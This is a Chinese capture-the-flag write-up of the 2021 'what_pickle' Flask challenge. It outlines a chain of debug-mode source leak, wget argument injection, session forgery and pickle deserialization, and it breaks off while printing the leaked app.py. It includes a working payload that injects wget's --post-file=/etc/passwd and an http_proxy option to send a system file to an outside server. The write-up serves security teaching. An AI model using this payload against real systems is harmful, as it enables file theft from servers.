巅峰极客2021 what_pickle——一道综合性的python web

在这里插入图片描述

前言

这题好像是最少人做出的web,考察的知识点比较多,综合性比较强,感觉挺有意思的。很多人都是卡在某个知识点,尤其是最后读flag阶段。总的来说,由于这题涉及到各种很经典的python安全的知识点,挺适合刚接触python安全的初学者学习。

总的来说,流程是这样的。

debug导致部分源码泄露->wget参数注入读源码->session伪造->pickle反序列化->利用proc目录/构造uaf读flag
在这里插入图片描述

分析

信息搜集一波。得到如下几个目录。

[01:33:40] 200 -    2KB - /console
[01:33:50] 500 -   14KB - /home
[01:33:51] 500 -   15KB - /images
[01:33:52] 200 -    1KB - /index
[01:33:56] 405 -  178B  - /login

值得注意的是home目录和images目录的http状态码为500

访问/home和images发现是python3的flask框架,且开了debug模式。那么想到,如果有任意读文件漏洞,可以打flask的pin。所以可以多关注一下任意读。

信息泄露

由于开了debug模式,所以有部分源码泄露。

在访问http://192.168.37.140/images 的时候,可以发现
在这里插入图片描述
这段代码用wget去获取图片,并且还有可以控制的参数。获取到argv参数后,把argv参数作为一个list,其中,给每个argv参数前都添加了-或者—,以防止恶意url的注入。且subprocess.run时,command里面每一个元素都是单独作为一个参数,无法像bash shell那样做命令注入。
在这里插入图片描述

wget参数注入读源码

虽然看似不行,还是有方法的,wget是可以开启代理的。如果开启代理,那么

具体来说有三种开启代理的方式:

  1. 环境变量中设置http_proxy
  2. 在~/.wgetrc里设置http_proxy
  3. 使用-e参数执行wgetrc格式的命令

这里我们可以使用-e http_proxy=http://xxx 来将其指向我们的服务器上。

更多参数的详细信息可以参考

Wgetrc Commands (GNU Wget 1.21.1-dirty Manual)

除此之外,还可以用—post-file来传输文件传输文件。因此,任意文件读的payload就构建好了。如下

192.168.37.140/images?image=index.html&argv=—post-file=/etc/passwd&argv=-e http_proxy=http://1.116.123.136:1234

在这里插入图片描述
接下来读源代码。

/app/app.py

from flask import Flask, request, session, render_template, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from ctypes import cdll
from config import SECRET_KEY, notadmin,user

cdll.LoadLibrary("./readflag.so")

app = Flask(__name__)
app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值